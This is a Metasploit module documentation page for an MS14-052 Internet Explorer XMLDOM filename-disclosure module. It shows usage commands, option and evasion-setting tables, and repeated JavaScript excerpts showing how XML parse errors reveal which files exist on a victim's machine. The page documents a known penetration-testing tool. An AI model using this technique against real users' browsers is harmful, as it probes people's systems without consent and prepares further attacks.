MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure - Metasploit
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Module Overview
Name: MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure
Module: auxiliary/gather/ms14_052_xmldom
Source code: modules/auxiliary/gather/ms14_052_xmldom.rb
Disclosure date: 2014-09-09
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-7331
This module will use the Microsoft XMLDOM object to enumerate a remote machine's filenames. It will try to do so against Internet Explorer 8 and Internet Explorer 9. To use it, you must supply your own list of file paths. Each file path should look like this: c:\windows\system32\calc.exe
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/ms14_052_xmldom
msf auxiliary(ms14_052_xmldom) > exploit
Required Options
- FILES: A list of files to enumerate. One absolute file path per line.
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Msfconsole Usage
Here is how the gather/ms14_052_xmldom auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/ms14_052_xmldom
msf6 auxiliary(gather/ms14_052_xmldom) > show info
Name: MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure
Module: auxiliary/gather/ms14_052_xmldom
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-09-09
Provided by:
Soroush Dalili
sinn3r <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILES yes A list of files to enumerate. One absolute file path per line.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Description:
This module will use the Microsoft XMLDOM object to enumerate a
remote machine's filenames. It will try to do so against Internet
Explorer 8 and Internet Explorer 9. To use it, you must supply your
own list of file paths. Each file path should look like this:
c:\\windows\\system32\\calc.exe
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-7331
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/MS14-052
https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/
https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi
Module Options
This is a complete list of options available in the gather/ms14_052_xmldom auxiliary module:
msf6 auxiliary(gather/ms14_052_xmldom) > show options
Module options (auxiliary/gather/ms14_052_xmldom):
Name Current Setting Required Description
---- --------------- -------- -----------
FILES yes A list of files to enumerate. One absolute file path per line.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Advanced Options
Here is a complete list of advanced options supported by the gather/ms14_052_xmldom auxiliary module:
msf6 auxiliary(gather/ms14_052_xmldom) > show advanced
Module advanced options (auxiliary/gather/ms14_052_xmldom):
Name Current Setting Required Description
---- --------------- -------- -----------
JsIdentifiers no Identifiers to preserve for JsObfu
JsObfuscate 0 no Number of times to obfuscate JavaScript
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/ms14_052_xmldom module can do:
msf6 auxiliary(gather/ms14_052_xmldom) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/ms14_052_xmldom auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/ms14_052_xmldom) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Error Code
Here is a relevant code snippet related to the "Error Code" error message:
70: xmlDoc.async = true;
71: try {
72: xmlDoc.loadXML(txt);
73: if (xmlDoc.parseError.errorCode != 0) {
74: var err;
75: err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
76: err += "Error Reason: " + xmlDoc.parseError.reason;
77: err += "Error Line: " + xmlDoc.parseError.line;
78:
79: var errReason = xmlDoc.parseError.reason.toLowerCase();
80: if (errReason.search('access is denied') >= 0) {
Error Reason
Here is a relevant code snippet related to the "Error Reason" error message:
71: try {
72: xmlDoc.loadXML(txt);
73: if (xmlDoc.parseError.errorCode != 0) {
74: var err;
75: err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
76: err += "Error Reason: " + xmlDoc.parseError.reason;
77: err += "Error Line: " + xmlDoc.parseError.line;
78:
79: var errReason = xmlDoc.parseError.reason.toLowerCase();
80: if (errReason.search('access is denied') >= 0) {
81: result = RESULTS.ALIVE;
Error Line
Here is a relevant code snippet related to the "Error Line" error message:
72: xmlDoc.loadXML(txt);
73: if (xmlDoc.parseError.errorCode != 0) {
74: var err;
75: err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
76: err += "Error Reason: " + xmlDoc.parseError.reason;
77: err += "Error Line: " + xmlDoc.parseError.line;
78:
79: var errReason = xmlDoc.parseError.reason.toLowerCase();
80: if (errReason.search('access is denied') >= 0) {
81: result = RESULTS.ALIVE;
82: } else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) {
access is denied
Here is a relevant code snippet related to the "access is denied" error message:
75: err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
76: err += "Error Reason: " + xmlDoc.parseError.reason;
77: err += "Error Line: " + xmlDoc.parseError.line;
78:
79: var errReason = xmlDoc.parseError.reason.toLowerCase();
80: if (errReason.search('access is denied') >= 0) {
81: result = RESULTS.ALIVE;
82: } else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) {
83: result = RESULTS.NOTFOUND;
84: } else if(errReason!=''){
85: result = RESULTS.FILEFOUND;
the system cannot locate the object
Here is a relevant code snippet related to the "the system cannot locate the object" error message:
77: err += "Error Line: " + xmlDoc.parseError.line;
78:
79: var errReason = xmlDoc.parseError.reason.toLowerCase();
80: if (errReason.search('access is denied') >= 0) {
81: result = RESULTS.ALIVE;
82: } else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) {
83: result = RESULTS.NOTFOUND;
84: } else if(errReason!=''){
85: result = RESULTS.FILEFOUND;
86: } else{
87: result = RESULTS.UNKNOWN; // No Error? Unknown!
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Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12354 Merged Pull Request: Remove targets from aux and post modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5043 Merged Pull Request: Fixups for release
- #5014 Merged Pull Request: Add MS14-052 Microsoft.XMLDOM Filename Disclosure
References
- CVE-2013-7331
- MS14-052
- https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/
- https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi
See Also
Check also the following modules related to this module:
- auxiliary/admin/kerberos/ms14_068_kerberos_checksum
- exploit/windows/browser/ms14_012_cmarkup_uaf
- exploit/windows/browser/ms14_012_textrange
- exploit/windows/browser/ms14_064_ole_code_execution
- exploit/windows/fileformat/ms14_017_rtf
- exploit/windows/fileformat/ms14_060_sandworm
- exploit/windows/fileformat/ms14_064_packager_python
- exploit/windows/fileformat/ms14_064_packager_run_as_admin
- exploit/windows/local/ms14_009_ie_dfsvc
- exploit/windows/local/ms14_058_track_popup_menu
- exploit/windows/local/ms14_070_tcpip_ioctl
Authors
- Soroush Dalili
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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